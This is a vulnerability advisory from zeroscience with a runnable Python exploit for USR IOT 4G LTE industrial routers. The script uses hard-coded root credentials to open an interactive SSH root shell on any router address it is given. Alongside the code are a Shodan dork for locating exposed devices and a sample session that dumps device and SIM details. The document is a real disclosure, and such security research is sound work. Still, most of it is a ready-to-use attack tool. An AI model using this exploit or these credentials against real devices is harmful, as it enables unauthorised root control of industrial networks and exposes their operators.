Authored by LiquidWorm | Site zeroscience.mk

The USR IOT industrial router is vulnerable to hard-coded credentials within its Linux distribution image. These sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the device. Affected versions include 1.0.36 and 1.2.7.

#!/usr/bin/env python3
#
#
# USR IOT 4G LTE Industrial Cellular VPN Router 1.0.36 Remote Root Backdoor
#
#
# Vendor: Jinan USR IOT Technology Limited
# Product web page: https://www.pusr.com | https://www.usriot.com
# Affected version: 1.0.36 (USR-G800V2, USR-G806, USR-G807, USR-G808)
# 1.2.7 (USR-LG220-L)
#
# Summary: USR-G806 is a industrial 4G wireless LTE router which provides
# a solution for users to connect own device to 4G network via WiFi interface
# or Ethernet interface. USR-G806 adopts high performance embedded CPU which
# can support 580MHz working frequency and can be widely used in Smart Grid,
# Smart Home, public bus and Vending machine for data transmission at high
# speed. USR-G806 supports various functions such as APN card, VPN, WIFIDOG,
# flow control and has many advantages including high reliability, simple
# operation, reasonable price. USR-G806 supports WAN interface, LAN interface,
# WLAN interface, 4G interface. USR-G806 provides various networking mode
# to help user establish own network.
#
# Desc: The USR IOT industrial router is vulnerable to hard-coded credentials
# within its Linux distribution image. These sets of credentials are never
# exposed to the end-user and cannot be changed through any normal operation
# of the device. The 'usr' account with password 'www.usr.cn' has the highest
# privileges on the device. The password is also the default WLAN password.
# Shodan Dork: title:"usr-*" // 4,648 ed ao 15042022
#
# -------------------------------------------------------------------------
# lqwrm@metalgear:~$ python usriot_root.py 192.168.0.14
#
# --Got rewt!
# # id;id root;pwd
# uid=0(usr) gid=0(usr)
# uid=2(root) gid=2(root) groups=2(root)
# /root
# # crontab -l
# */2 * * * * /etc/ltedial
# */20 * * * * /etc/init.d/Net_4G_Check.sh
# */15 * * * * /etc/test_log.sh
# */120 * * * * /etc/pddns/pddns_start.sh start &
# 44 4 * * * /etc/init.d/sysreboot.sh &
# */5 * * * * ps | grep "/usr/sbin/ntpd" && /etc/init.d/sysntpd stop;
# 0 */4 * * * /etc/init.d/sysntpd start; sleep 40; /etc/init.d/sysntpd stop;
# cat /tmp/usrlte_info
# Local time is Fri Apr 15 05:38:56 2022
# (loop)
# IMEI Number:8*************1
# Operator information:********Telecom
# signal intensity:normal(20)
#
# Software version number:E*****************G
# SIM Card CIMI number:4*************7
# SIM Card number:8******************6
# Short message service center number:"+8**********1"
# system information:4G Mode
# PDP protocol:"IPV4V6"
# CREG:register
# Check ME password:READY
# base station information:"4**D","7*****B"
# cat /tmp/usrlte_info_imsi
# 4*************7
# # exit
#
# lqwrm@metalgear:~$
# -------------------------------------------------------------------------
#
# Tested on: GNU/Linux 3.10.14 (mips)
# OpenWrt/Linaro GCC 4.8-2014.04
# Ralink SoC MT7628 PCIe RC mode
# BusyBox v1.22.1
# uhttpd
# Lua
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2022-5705
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5705.php
#
#
# 10.04.2022
#


import paramiko as bah
import sys as baaaaaah

bnr='''
▄• ▄▌.▄▄ · ▄▄▄ ▪ ▄▄▄▄▄
█▪██▌▐█ ▀. ▀▄ █·██ ▪ •██
█▌▐█▌▄▀▀▀█▄▐▀▀▄ ▐█· ▄█▀▄ ▐█.▪
▐█▄█▌▐█▄▪▐█▐█•█▌▐█▌▐█▌.▐▌ ▐█▌·
▄▄▄▄· ▄▄▄·▀ ▄▄·▀▄ •▄ ·▄▄▄▄ ▀█▄▀▪ ▀▀▀ ▄▄▄
▐█ ▀█▪▐█ ▀█ ▐█ ▌▪█▌▄▌▪██▪ ██ ▪ ▪ ▀▄ █·
▐█▀▀█▄▄█▀▀█ ██ ▄▄▐▀▀▄·▐█· ▐█▌ ▄█▀▄ ▄█▀▄ ▐▀▀▄
██▄▪▐█▐█ ▪▐▌▐███▌▐█.█▌██. ██ ▐█▌.▐▌▐█▌.▐▌▐█•█▌
·▀▀▀▀ ▀ ▀ ▄▄▄▀ ·▀ ▀▀▀▀▀▀• ▄▄▄▄▄▪ ▀█▄▀▪.▀ ▀
▀▄ █·▪ ▪ •██
▐▀▀▄ ▄█▀▄ ▄█▀▄ ▐█.▪
▐█•█▌▐█▌.▐▌▐█▌.▐▌ ▐█▌·
▄▄▄·▀ ▄▄·▀█▄▄· ▄▄▄▀..▄▄▀· .▄▄ ·
▐█ ▀█ ▐█ ▌▪▐█ ▌▪▀▄.▀·▐█ ▀. ▐█ ▀.
▄█▀▀█ ██ ▄▄██ ▄▄▐▀▀▪▄▄▀▀▀█▄▄▀▀▀█▄
▐█ ▪▐▌▐███▌▐███▌▐█▄▄▌▐█▄▪▐█▐█▄▪▐█
▀ ▀ ·▀▀▀ ·▀▀▀ ▀▀▀ ▀▀▀▀ ▀▀▀▀
'''
print(bnr)

if len(baaaaaah.argv)<2:
print('--Gief me an IP.')
exit(0)

adrs=baaaaaah.argv[1]
unme='usr'
pwrd='www.usr.cn'

rsh=bah.SSHClient()
rsh.set_missing_host_key_policy(bah.AutoAddPolicy())
try:
rsh.connect(adrs,username=unme,password=pwrd,port=2222) #22 Ook.
print('--Got rewt!')
except:
print('--Backdoor removed.')
exit(-1)

while True:
cmnd=input('# ')
if cmnd=='exit':
rsh.exec_command('exit')
break
stdin,stdout,stderr = rsh.exec_command(cmnd)
print(stdout.read().decode().strip())

rsh.close()